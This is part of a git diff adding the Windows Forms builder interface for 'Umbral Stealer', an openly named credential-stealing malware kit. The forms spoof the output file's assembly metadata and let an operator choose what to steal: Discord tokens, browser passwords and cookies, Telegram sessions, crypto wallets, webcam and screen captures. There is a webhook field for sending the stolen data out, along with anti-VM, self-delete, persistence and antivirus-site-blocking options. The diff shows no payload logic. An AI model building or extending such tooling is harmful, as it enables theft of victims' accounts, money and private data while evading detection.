AssemblyEditorForm() + { + InitializeComponent(); + } + + [DllImport("user32.dll")] + static extern private int SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); + + [DllImport("user32.dll")] + static extern private bool ReleaseCapture(); + + private void Drag_On_Mousedown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + ReleaseCapture(); + SendMessage(Handle, 0xA1, 0x2, 0); + } + } + + private void btnCancel_Click(object sender, EventArgs e) + { + Close(); + } + + private void btnOk_Click(object sender, EventArgs e) + { + Settings.CompanyName = txtCompanyName.Text; + Settings.FileDescription = txtFileDescription.Text; + Settings.ProductName = txtProductName.Text; + Settings.LegalCopyright = txtLegalCopyright.Text; + Settings.LegalTrademarks = txtLegalTrademarks.Text; + Settings.InternalName = txtInternalName.Text; + Settings.OriginalFilename = txtOriginalFilename.Text; + + Close(); + } + + private void AssemblyEditorForm_Shown(object sender, EventArgs e) + { + txtCompanyName.Text = Settings.CompanyName; + txtFileDescription.Text = Settings.FileDescription; + txtProductName.Text = Settings.ProductName; + txtLegalCopyright.Text = Settings.LegalCopyright; + txtLegalTrademarks.Text = Settings.LegalTrademarks; + txtInternalName.Text = Settings.InternalName; + txtOriginalFilename.Text = Settings.OriginalFilename; + } + } +} diff --git a/Umbral.builder/Components/Forms/AssemblyEditorForm.resx b/Umbral.builder/Components/Forms/AssemblyEditorForm.resx new file mode 100644 index 0000000..60c5401 --- /dev/null +++ b/Umbral.builder/Components/Forms/AssemblyEditorForm.resx @@ -0,0 +1,230 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAAD8AAAAgCAYAAACl36CRAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABNSURBVGhD7c9BEQAxDIDA+Dd3UuqA3qQ2gBffHeC7wtY9 + OyPsucMLCx9eWPjwwsKHFxY+vLDw4YWFDy8sfHhh4cMLCx9e2HMDZ8cWcH7fvuSrQi5uSQAAAABJRU5E + rkJggg== + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAACcAAAAgCAYAAACRpmGNAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABMSURBVFhH7c4hFQAwDMTQ+jc3KXVw2+skBBXko8BUknMX + mq+aqIX+l3OAc5RzlHOUc5RzlHOUc5RzlHOUc5RzlHOUc9T+uSQ9sU2SfuluJWvxjFR7AAAAAElFTkSu + QmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAAogAAAAYCAYAAAB5sAzQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACuSURBVHhe7dZBDYAwEETR9e+ntx7qAxkIABrKYYKEvkle + NlkFv8zMzMzMfmutHWOMCwCAfc0mXHlYNR/PAQBgY6sJ3wlEAAAEIgAAQSACABAEIgAAQSACABAEIgAA + QSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAEIgAAQSACABAi + EHvv53wAALCv2YQrD83MzMzMvlXd2M0EsKGtfbMAAAAASUVORK5CYII= + + + + #bunifu-label { padding: 0px; margin: auto; padding-top: 0px;font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: center; } + + + 134, 19 + + \ No newline at end of file diff --git a/Umbral.builder/Components/Forms/MainForm.Designer.cs b/Umbral.builder/Components/Forms/MainForm.Designer.cs new file mode 100644 index 0000000..e28c5b2 --- /dev/null +++ b/Umbral.builder/Components/Forms/MainForm.Designer.cs @@ -0,0 +1,1836 @@ +namespace Umbral.builder.Components.Forms +{ + partial class MainForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm)); + Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges borderEdges9 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); + Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges borderEdges10 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); + Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges borderEdges11 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); + Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges borderEdges12 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties9 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties10 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties11 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties12 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + this.panel1 = new System.Windows.Forms.Panel(); + this.bunifuLabel1 = new Bunifu.UI.WinForms.BunifuLabel(); + this.buttonMinimize = new System.Windows.Forms.Button(); + this.buttonClose = new System.Windows.Forms.Button(); + this.bunifuColorTransition1 = new Bunifu.UI.WinForms.BunifuColorTransition(this.components); + this.bunifuElipse2 = new Bunifu.Framework.UI.BunifuElipse(this.components); + this.panel2 = new System.Windows.Forms.Panel(); + this.bunifuShadowPanel2 = new Bunifu.UI.WinForms.BunifuShadowPanel(); + this.grpOptions = new System.Windows.Forms.GroupBox(); + this.labelWallets = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkWallets = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelScreenshot = new Bunifu.UI.WinForms.BunifuLabel(); + this.labelSystemInfo = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkScreenshot = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.chkSystemInfo = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelWebcamSnapshot = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkWebcam = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelTelegramSessions = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkTelegram = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelGames = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkGames = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelBrowserCookies = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkCookies = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelBrowserPasswords = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkPasswords = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelDiscordTokens = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkDiscord = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.btnModifyAssembly = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); + this.txtVersion = new Bunifu.UI.WinForms.BunifuLabel(); + this.btnIconSelect = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); + this.btnBuild = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); + this.btnCheckWebhook = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); + this.grpBasic = new System.Windows.Forms.GroupBox(); + this.labelBlockAvSites = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkBlockAvSites = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelMelt = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkMelt = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelAntiVm = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkAntiVm = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelAddToStartup = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkStartup = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.labelPing = new Bunifu.UI.WinForms.BunifuLabel(); + this.chkPing = new Bunifu.UI.WinForms.BunifuCheckBox(); + this.txtWebhook = new Bunifu.UI.WinForms.BunifuTextBox(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.bunifuShadowPanel2.SuspendLayout(); + this.grpOptions.SuspendLayout(); + this.grpBasic.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(21)))), ((int)(((byte)(21)))), ((int)(((byte)(21))))); + this.panel1.Controls.Add(this.bunifuLabel1); + this.panel1.Controls.Add(this.buttonMinimize); + this.panel1.Controls.Add(this.buttonClose); + this.panel1.Dock = System.Windows.Forms.DockStyle.Top; + this.panel1.Location = new System.Drawing.Point(2, 2); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(0, 0, 5, 0); + this.panel1.Size = new System.Drawing.Size(1008, 30); + this.panel1.TabIndex = 0; + this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Drag_On_Mousedown); + // + // bunifuLabel1 + // + this.bunifuLabel1.AllowParentOverrides = false; + this.bunifuLabel1.AutoEllipsis = true; + this.bunifuLabel1.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel1.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel1.Font = new System.Drawing.Font("Segoe UI", 9.75F); + this.bunifuLabel1.ForeColor = System.Drawing.Color.White; + this.bunifuLabel1.Location = new System.Drawing.Point(6, 7); + this.bunifuLabel1.Name = "bunifuLabel1"; + this.bunifuLabel1.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel1.Size = new System.Drawing.Size(417, 17); + this.bunifuLabel1.TabIndex = 3; + this.bunifuLabel1.Text = "Umbral Stealer [Builder] ⇛ https://github.com/Blank-c/Umbral-Stealer ⇚"; + this.bunifuLabel1.TextAlignment = System.Drawing.ContentAlignment.MiddleCenter; + this.bunifuLabel1.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + this.bunifuLabel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Drag_On_Mousedown); + // + // buttonMinimize + // + this.buttonMinimize.BackgroundImage = global::Umbral.builder.Properties.Resources.fluent_emoji_flat_yellow_circle; + this.buttonMinimize.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.buttonMinimize.Dock = System.Windows.Forms.DockStyle.Right; + this.buttonMinimize.FlatAppearance.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(21)))), ((int)(((byte)(21)))), ((int)(((byte)(21))))); + this.buttonMinimize.FlatAppearance.BorderSize = 0; + this.buttonMinimize.FlatAppearance.MouseDownBackColor = System.Drawing.Color.Transparent; + this.buttonMinimize.FlatAppearance.MouseOverBackColor = System.Drawing.Color.Transparent; + this.buttonMinimize.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonMinimize.ForeColor = System.Drawing.Color.Transparent; + this.buttonMinimize.Location = new System.Drawing.Point(959, 0); + this.buttonMinimize.Name = "buttonMinimize"; + this.buttonMinimize.Size = new System.Drawing.Size(22, 30); + this.buttonMinimize.TabIndex = 2; + this.buttonMinimize.TabStop = false; + this.buttonMinimize.UseVisualStyleBackColor = true; + this.buttonMinimize.Click += new System.EventHandler(this.buttonMinimize_Click); + // + // buttonClose + // + this.buttonClose.BackColor = System.Drawing.Color.Transparent; + this.buttonClose.BackgroundImage = global::Umbral.builder.Properties.Resources.fluent_emoji_flat_red_circle; + this.buttonClose.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.buttonClose.Dock = System.Windows.Forms.DockStyle.Right; + this.buttonClose.FlatAppearance.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(21)))), ((int)(((byte)(21)))), ((int)(((byte)(21))))); + this.buttonClose.FlatAppearance.BorderSize = 0; + this.buttonClose.FlatAppearance.MouseDownBackColor = System.Drawing.Color.Transparent; + this.buttonClose.FlatAppearance.MouseOverBackColor = System.Drawing.Color.Transparent; + this.buttonClose.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonClose.ForeColor = System.Drawing.Color.Transparent; + this.buttonClose.Location = new System.Drawing.Point(981, 0); + this.buttonClose.Name = "buttonClose"; + this.buttonClose.Size = new System.Drawing.Size(22, 30); + this.buttonClose.TabIndex = 1; + this.buttonClose.TabStop = false; + this.buttonClose.UseVisualStyleBackColor = false; + this.buttonClose.Click += new System.EventHandler(this.buttonClose_Click); + // + // bunifuColorTransition1 + // + this.bunifuColorTransition1.AutoTransition = false; + this.bunifuColorTransition1.ColorArray = new System.Drawing.Color[] { + System.Drawing.Color.Red, + System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0))))), + System.Drawing.Color.Yellow, + System.Drawing.Color.Lime, + System.Drawing.Color.Aqua, + System.Drawing.Color.Indigo, + System.Drawing.Color.Purple}; + this.bunifuColorTransition1.EndColor = System.Drawing.Color.White; + this.bunifuColorTransition1.Interval = 1; + this.bunifuColorTransition1.ProgessValue = 0; + this.bunifuColorTransition1.StartColor = System.Drawing.Color.White; + this.bunifuColorTransition1.TransitionControl = this; + // + // bunifuElipse2 + // + this.bunifuElipse2.ElipseRadius = 5; + this.bunifuElipse2.TargetControl = this; + // + // panel2 + // + this.panel2.Controls.Add(this.bunifuShadowPanel2); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.ForeColor = System.Drawing.Color.Transparent; + this.panel2.Location = new System.Drawing.Point(2, 32); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1008, 626); + this.panel2.TabIndex = 2; + // + // bunifuShadowPanel2 + // + this.bunifuShadowPanel2.BackColor = System.Drawing.Color.Transparent; + this.bunifuShadowPanel2.BorderColor = System.Drawing.Color.Transparent; + this.bunifuShadowPanel2.BorderRadius = 0; + this.bunifuShadowPanel2.BorderThickness = 1; + this.bunifuShadowPanel2.Controls.Add(this.grpOptions); + this.bunifuShadowPanel2.Controls.Add(this.btnModifyAssembly); + this.bunifuShadowPanel2.Controls.Add(this.txtVersion); + this.bunifuShadowPanel2.Controls.Add(this.btnIconSelect); + this.bunifuShadowPanel2.Controls.Add(this.btnBuild); + this.bunifuShadowPanel2.Controls.Add(this.btnCheckWebhook); + this.bunifuShadowPanel2.Controls.Add(this.grpBasic); + this.bunifuShadowPanel2.Controls.Add(this.txtWebhook); + this.bunifuShadowPanel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.bunifuShadowPanel2.FillStyle = Bunifu.UI.WinForms.BunifuShadowPanel.FillStyles.Solid; + this.bunifuShadowPanel2.GradientMode = Bunifu.UI.WinForms.BunifuShadowPanel.GradientModes.Vertical; + this.bunifuShadowPanel2.Location = new System.Drawing.Point(0, 0); + this.bunifuShadowPanel2.Name = "bunifuShadowPanel2"; + this.bunifuShadowPanel2.Padding = new System.Windows.Forms.Padding(2); + this.bunifuShadowPanel2.PanelColor = System.Drawing.Color.Black; + this.bunifuShadowPanel2.PanelColor2 = System.Drawing.Color.Black; + this.bunifuShadowPanel2.ShadowColor = System.Drawing.Color.DarkGray; + this.bunifuShadowPanel2.ShadowDept = 2; + this.bunifuShadowPanel2.ShadowDepth = 0; + this.bunifuShadowPanel2.ShadowStyle = Bunifu.UI.WinForms.BunifuShadowPanel.ShadowStyles.Dropped; + this.bunifuShadowPanel2.ShadowTopLeftVisible = false; + this.bunifuShadowPanel2.Size = new System.Drawing.Size(1008, 626); + this.bunifuShadowPanel2.Style = Bunifu.UI.WinForms.BunifuShadowPanel.BevelStyles.Flat; + this.bunifuShadowPanel2.TabIndex = 1; + // + // grpOptions + // + this.grpOptions.BackColor = System.Drawing.Color.Black; + this.grpOptions.Controls.Add(this.labelWallets); + this.grpOptions.Controls.Add(this.chkWallets); + this.grpOptions.Controls.Add(this.labelScreenshot); + this.grpOptions.Controls.Add(this.labelSystemInfo); + this.grpOptions.Controls.Add(this.chkScreenshot); + this.grpOptions.Controls.Add(this.chkSystemInfo); + this.grpOptions.Controls.Add(this.labelWebcamSnapshot); + this.grpOptions.Controls.Add(this.chkWebcam); + this.grpOptions.Controls.Add(this.labelTelegramSessions); + this.grpOptions.Controls.Add(this.chkTelegram); + this.grpOptions.Controls.Add(this.labelGames); + this.grpOptions.Controls.Add(this.chkGames); + this.grpOptions.Controls.Add(this.labelBrowserCookies); + this.grpOptions.Controls.Add(this.chkCookies); + this.grpOptions.Controls.Add(this.labelBrowserPasswords); + this.grpOptions.Controls.Add(this.chkPasswords); + this.grpOptions.Controls.Add(this.labelDiscordTokens); + this.grpOptions.Controls.Add(this.chkDiscord); + this.grpOptions.ForeColor = System.Drawing.Color.White; + this.grpOptions.Location = new System.Drawing.Point(289, 82); + this.grpOptions.Margin = new System.Windows.Forms.Padding(6, 3, 6, 3); + this.grpOptions.Name = "grpOptions"; + this.grpOptions.Padding = new System.Windows.Forms.Padding(6, 3, 6, 3); + this.grpOptions.Size = new System.Drawing.Size(705, 370); + this.grpOptions.TabIndex = 3; + this.grpOptions.TabStop = false; + this.grpOptions.Text = "Options"; + // + // labelWallets + // + this.labelWallets.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelWallets.AllowParentOverrides = false; + this.labelWallets.AutoEllipsis = false; + this.labelWallets.Cursor = System.Windows.Forms.Cursors.Default; + this.labelWallets.CursorType = System.Windows.Forms.Cursors.Default; + this.labelWallets.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelWallets.ForeColor = System.Drawing.Color.White; + this.labelWallets.Location = new System.Drawing.Point(468, 58); + this.labelWallets.Name = "labelWallets"; + this.labelWallets.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelWallets.Size = new System.Drawing.Size(51, 21); + this.labelWallets.TabIndex = 12; + this.labelWallets.Text = "Wallets"; + this.labelWallets.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelWallets.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkWallets + // + this.chkWallets.AllowBindingControlAnimation = true; + this.chkWallets.AllowBindingControlColorChanges = false; + this.chkWallets.AllowBindingControlLocation = true; + this.chkWallets.AllowCheckBoxAnimation = false; + this.chkWallets.AllowCheckmarkAnimation = true; + this.chkWallets.AllowOnHoverStates = true; + this.chkWallets.AutoCheck = true; + this.chkWallets.BackColor = System.Drawing.Color.Transparent; + this.chkWallets.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkWallets.BackgroundImage"))); + this.chkWallets.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkWallets.BindingControl = this.labelWallets; + this.chkWallets.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkWallets.BorderRadius = 5; + this.chkWallets.Checked = true; + this.chkWallets.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkWallets.Cursor = System.Windows.Forms.Cursors.Default; + this.chkWallets.CustomCheckmarkImage = null; + this.chkWallets.Location = new System.Drawing.Point(444, 54); + this.chkWallets.MinimumSize = new System.Drawing.Size(17, 17); + this.chkWallets.Name = "chkWallets"; + this.chkWallets.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkWallets.OnCheck.BorderRadius = 5; + this.chkWallets.OnCheck.BorderThickness = 2; + this.chkWallets.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWallets.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkWallets.OnCheck.CheckmarkThickness = 2; + this.chkWallets.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkWallets.OnDisable.BorderRadius = 5; + this.chkWallets.OnDisable.BorderThickness = 2; + this.chkWallets.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWallets.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkWallets.OnDisable.CheckmarkThickness = 2; + this.chkWallets.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkWallets.OnHoverChecked.BorderRadius = 5; + this.chkWallets.OnHoverChecked.BorderThickness = 2; + this.chkWallets.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWallets.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkWallets.OnHoverChecked.CheckmarkThickness = 2; + this.chkWallets.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkWallets.OnHoverUnchecked.BorderRadius = 5; + this.chkWallets.OnHoverUnchecked.BorderThickness = 1; + this.chkWallets.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWallets.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkWallets.OnUncheck.BorderRadius = 5; + this.chkWallets.OnUncheck.BorderThickness = 1; + this.chkWallets.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWallets.Size = new System.Drawing.Size(21, 21); + this.chkWallets.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkWallets.TabIndex = 11; + this.chkWallets.ThreeState = false; + this.chkWallets.ToolTipText = null; + this.chkWallets.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelScreenshot + // + this.labelScreenshot.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelScreenshot.AllowParentOverrides = false; + this.labelScreenshot.AutoEllipsis = false; + this.labelScreenshot.Cursor = System.Windows.Forms.Cursors.Default; + this.labelScreenshot.CursorType = System.Windows.Forms.Cursors.Default; + this.labelScreenshot.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelScreenshot.ForeColor = System.Drawing.Color.White; + this.labelScreenshot.Location = new System.Drawing.Point(470, 299); + this.labelScreenshot.Name = "labelScreenshot"; + this.labelScreenshot.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelScreenshot.Size = new System.Drawing.Size(77, 21); + this.labelScreenshot.TabIndex = 10; + this.labelScreenshot.Text = "Screenshot"; + this.labelScreenshot.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelScreenshot.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // labelSystemInfo + // + this.labelSystemInfo.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelSystemInfo.AllowParentOverrides = false; + this.labelSystemInfo.AutoEllipsis = false; + this.labelSystemInfo.Cursor = System.Windows.Forms.Cursors.Default; + this.labelSystemInfo.CursorType = System.Windows.Forms.Cursors.Default; + this.labelSystemInfo.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelSystemInfo.ForeColor = System.Drawing.Color.White; + this.labelSystemInfo.Location = new System.Drawing.Point(265, 299); + this.labelSystemInfo.Name = "labelSystemInfo"; + this.labelSystemInfo.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelSystemInfo.Size = new System.Drawing.Size(82, 21); + this.labelSystemInfo.TabIndex = 10; + this.labelSystemInfo.Text = "System Info"; + this.labelSystemInfo.TextAlignment = System.Drawing.ContentAlignment.TopLeft; 